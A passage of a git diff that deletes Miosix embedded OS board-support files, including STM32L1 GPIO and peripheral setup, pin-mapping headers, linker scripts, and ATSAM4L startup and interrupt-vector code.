a write to a GPIO register (in this case - //GPIOA->OSPEEDR), garbage is written into that register! - delayUs(1); - - GPIOA->OSPEEDR=0x0002aa00; - GPIOB->OSPEEDR=0xaa800000; - - GPIOA->MODER=0x5429a900; - GPIOB->MODER=0x55400000; - GPIOC->MODER=0xa0000000; - GPIOH->MODER=0x00000000; - - GPIOA->PUPDR=0x02900084; - GPIOB->PUPDR=0x002aaaaa; - GPIOC->PUPDR=0x08000000; - GPIOH->PUPDR=0x0000000a; - - GPIOA->ODR=0x00004010; - GPIOB->ODR=0x00000000; - - GPIOA->AFR[0]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 5<<20 | 5<<24 | 5<<28; - GPIOA->AFR[1]= 0 | 7<<4 | 7<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; - GPIOB->AFR[0]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; - GPIOB->AFR[1]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; - GPIOC->AFR[0]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; - GPIOC->AFR[1]= 0 | 0<<4 | 0<<8 | 0<<12 | 0<<16 | 0<<20 | 0<<24 | 0<<28; - - - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - RCC_SYNC(); - PWR->CR |= PWR_CR_DBP //Enable access to RTC registers - | PWR_CR_PLS_1 //Select 2.3V trigger point for low battery - | PWR_CR_PVDE //Enable low battery detection - | PWR_CR_LPSDSR; //Put regulator in low power when entering stop - RCC->CSR |= RCC_CSR_LSEON //External 32KHz oscillator enabled - | RCC_CSR_RTCEN //RTC enabled - | RCC_CSR_RTCSEL_0; //Select LSE as clock source for RTC - //These two values enable RTC write access - RTC->WPR=0xca; - RTC->WPR=0x53; - while((RCC->CSR & RCC_CSR_LSERDY)==0) ; //Wait - RCC->APB2ENR |= RCC_APB2ENR_SPI1EN; - SPI1->CR1=SPI_CR1_SSM //handle CS in software - | SPI_CR1_SSI //internal CS tied high - | SPI_CR1_SPE //SPI enabled (speed 8MHz) - | SPI_CR1_MSTR; //Master mode - - ledOn(); - delayMs(100); - ledOff(); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - #ifndef STDOUT_REDIRECTED_TO_DCC - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //STDOUT_REDIRECTED_TO_DCC - new ARMDCC)); - #endif //STDOUT_REDIRECTED_TO_DCC -} - -void bspInit2() -{ -// #ifdef WITH_FILESYSTEM -// basicFilesystemSetup(); -// #endif //WITH_FILESYSTEM -} - -static void spi1send(unsigned char data) -{ - SPI1->DR=data; - while((SPI1->SR & SPI_SR_RXNE)==0) ; //Wait -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - - //Put outputs in low power mode - led::low(); - hpled::high(); - sen::low(); - - //Put cam in low power mode - cam::en::low(); - cam::cs::mode(Mode::INPUT_PULL_DOWN); - cam::sck::mode(Mode::INPUT_PULL_DOWN); - cam::miso::mode(Mode::INPUT_PULL_DOWN); - cam::mosi::mode(Mode::INPUT_PULL_DOWN); - - //Put nrf in low power mode - nrf::ce::low(); - nrf::cs::low(); - spi1send(0x20 | 0); //Write to reg 0 - spi1send(0x8); //PWR_UP=0 - nrf::cs::high(); - nrf::miso::mode(Mode::INPUT_PULL_DOWN); //nrf miso goes tristate if cs high - - EXTI->IMR=0; //All IRQs masked - EXTI->PR=0x7fffff; //Clear eventual pending request - SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; //Select stop mode - __WFI(); //And it goes to sleep till a reset - //Should never reach here - miosix_private::IRQsystemReboot(); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/interfaces-impl/bsp_impl.h deleted file mode 100644 index 77c27622e..000000000 --- a/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,46 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "hwmapping.h" - -namespace miosix { - -inline void ledOn() { led::high(); } -inline void ledOff() { led::low(); } - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/interfaces-impl/hwmapping.h deleted file mode 100644 index a269cdc26..000000000 --- a/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,66 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -typedef Gpio strig; -typedef Gpio button; -typedef Gpio led; -typedef Gpio hpled; -typedef Gpio sen; - -namespace nrf { -typedef Gpio irq; -typedef Gpio cs; -typedef Gpio sck; -typedef Gpio miso; -typedef Gpio mosi; -typedef Gpio ce; -} - -namespace cam { -typedef Gpio irq; -typedef Gpio en; -typedef Gpio cs; -typedef Gpio sck; -typedef Gpio miso; -typedef Gpio mosi; -} - -namespace serial { -typedef Gpio tx; -typedef Gpio rx; -} - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/stm32_64k+10k_rom.ld b/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/stm32_64k+10k_rom.ld deleted file mode 100644 index 208e7dfb7..000000000 --- a/miosix/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/stm32_64k+10k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (64K FLASH, 10K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 10KB microcontrollers (minus 2K buffers) */ -_heap_end = 0x20002000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0, LENGTH = 64K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 8K-0x200 /* upper 2k used for buffering */ -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/atsam_112k+32k_rom.ld b/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/atsam_112k+32k_rom.ld deleted file mode 100644 index 94ce9845f..000000000 --- a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/atsam_112k+32k_rom.ld +++ /dev/null @@ -1,171 +0,0 @@ -/* - * C++ enabled linker script for ATSAM4L (112K FLASH, 32K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 32KB microcontrollers */ -_heap_end = 0x20008000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - /* 16KB are reserved for the SAM-BA bootloader */ - flash(rx) : ORIGIN = 0x00004000, LENGTH = 112K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 32K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/atsam_112k+32k_rom_processes.ld b/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/atsam_112k+32k_rom_processes.ld deleted file mode 100644 index 17ce60283..000000000 --- a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/atsam_112k+32k_rom_processes.ld +++ /dev/null @@ -1,174 +0,0 @@ -/* - * C++ enabled linker script for ATSAM4L (112K FLASH, 32K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the bottom 16KB of the RAM */ -_heap_end = 0x20004000; /* end of available ram */ -/* Mapping the process pool into the upper 16KB of the RAM */ -_process_pool_start = _heap_end; -_process_pool_end = 0x20008000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - /* 16KB are reserved for the SAM-BA bootloader */ - flash(rx) : ORIGIN = 0x00004000, LENGTH = 112K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 16K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/core/stage_1_boot.cpp b/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/core/stage_1_boot.cpp deleted file mode 100644 index 4b2d5468f..000000000 --- a/miosix/arch/cortexM4_atsam4l/atsam4lc2aa_generic/core/stage_1_boot.cpp +++ /dev/null @@ -1,375 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * ATSAM4L C++ startup. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ATMEL startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ATMEL do the opposite, there are - * three good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 115kHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) HFLASHC_Handler(); -void __attribute__((weak)) PDCA_0_Handler(); -void __attribute__((weak)) PDCA_1_Handler(); -void __attribute__((weak)) PDCA_2_Handler(); -void __attribute__((weak)) PDCA_3_Handler(); -void __attribute__((weak)) PDCA_4_Handler(); -void __attribute__((weak)) PDCA_5_Handler(); -void __attribute__((weak)) PDCA_6_Handler(); -void __attribute__((weak)) PDCA_7_Handler(); -void __attribute__((weak)) PDCA_8_Handler(); -void __attribute__((weak)) PDCA_9_Handler(); -void __attribute__((weak)) PDCA_10_Handler(); -void __attribute__((weak)) PDCA_11_Handler(); -void __attribute__((weak)) PDCA_12_Handler(); -void __attribute__((weak)) PDCA_13_Handler(); -void __attribute__((weak)) PDCA_14_Handler(); -void __attribute__((weak)) PDCA_15_Handler(); -void __attribute__((weak)) CRCCU_Handler(); -void __attribute__((weak)) USBC_Handler(); -void __attribute__((weak)) PEVC_TR_Handler(); -void __attribute__((weak)) PEVC_OV_Handler(); -void __attribute__((weak)) AESA_Handler(); -void __attribute__((weak)) PM_Handler(); -void __attribute__((weak)) SCIF_Handler(); -void __attribute__((weak)) FREQM_Handler(); -void __attribute__((weak)) GPIO_0_Handler(); -void __attribute__((weak)) GPIO_1_Handler(); -void __attribute__((weak)) GPIO_2_Handler(); -void __attribute__((weak)) GPIO_3_Handler(); -void __attribute__((weak)) GPIO_4_Handler(); -void __attribute__((weak)) GPIO_5_Handler(); -void __attribute__((weak)) GPIO_6_Handler(); -void __attribute__((weak)) GPIO_7_Handler(); -void __attribute__((weak)) GPIO_8_Handler(); -void __attribute__((weak)) GPIO_9_Handler(); -void __attribute__((weak)) GPIO_10_Handler(); -void __attribute__((weak)) GPIO_11_Handler(); -void __attribute__((weak)) BPM_Handler(); -void __attribute__((weak)) BSCIF_Handler(); -void __attribute__((weak)) AST_ALARM_Handler(); -void __attribute__((weak)) AST_PER_Handler(); -void __attribute__((weak)) AST_OVF_Handler(); -void __attribute__((weak)) AST_READY_Handler(); -void __attribute__((weak)) AST_CLKREADY_Handler(); -void __attribute__((weak)) WDT_Handler(); -void __attribute__((weak)) EIC_1_Handler(); -void __attribute__((weak)) EIC_2_Handler(); -void __attribute__((weak)) EIC_3_Handler(); -void __attribute__((weak)) EIC_4_Handler(); -void __attribute__((weak)) EIC_5_Handler(); -void __attribute__((weak)) EIC_6_Handler(); -void __attribute__((weak)) EIC_7_Handler(); -void __attribute__((weak)) EIC_8_Handler(); -void __attribute__((weak)) IISC_Handler(); -void __attribute__((weak)) SPI_Handler(); -void __attribute__((weak)) TC00_Handler(); -void __attribute__((weak)) TC01_Handler(); -void __attribute__((weak)) TC02_Handler(); -void __attribute__((weak)) TC10_Handler(); -void __attribute__((weak)) TC11_Handler(); -void __attribute__((weak)) TC12_Handler(); -void __attribute__((weak)) TWIM0_Handler(); -void __attribute__((weak)) TWIS0_Handler(); -void __attribute__((weak)) TWIM1_Handler(); -void __attribute__((weak)) TWIS1_Handler(); -void __attribute__((weak)) USART0_Handler(); -void __attribute__((weak)) USART1_Handler(); -void __attribute__((weak)) USART2_Handler(); -void __attribute__((weak)) USART3_Handler(); -void __attribute__((weak)) ADCIFE_Handler(); -void __attribute__((weak)) DACC_Handler(); -void __attribute__((weak)) ACIFC_Handler(); -void __attribute__((weak)) ABDACB_Handler(); -void __attribute__((weak)) TRNG_Handler(); -void __attribute__((weak)) PARC_Handler(); -void __attribute__((weak)) CATB_Handler(); -void __attribute__((weak)) TWIM2_Handler(); -void __attribute__((weak)) TWIM3_Handler(); -void __attribute__((weak)) LCDCA_Handler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - HFLASHC_Handler, - 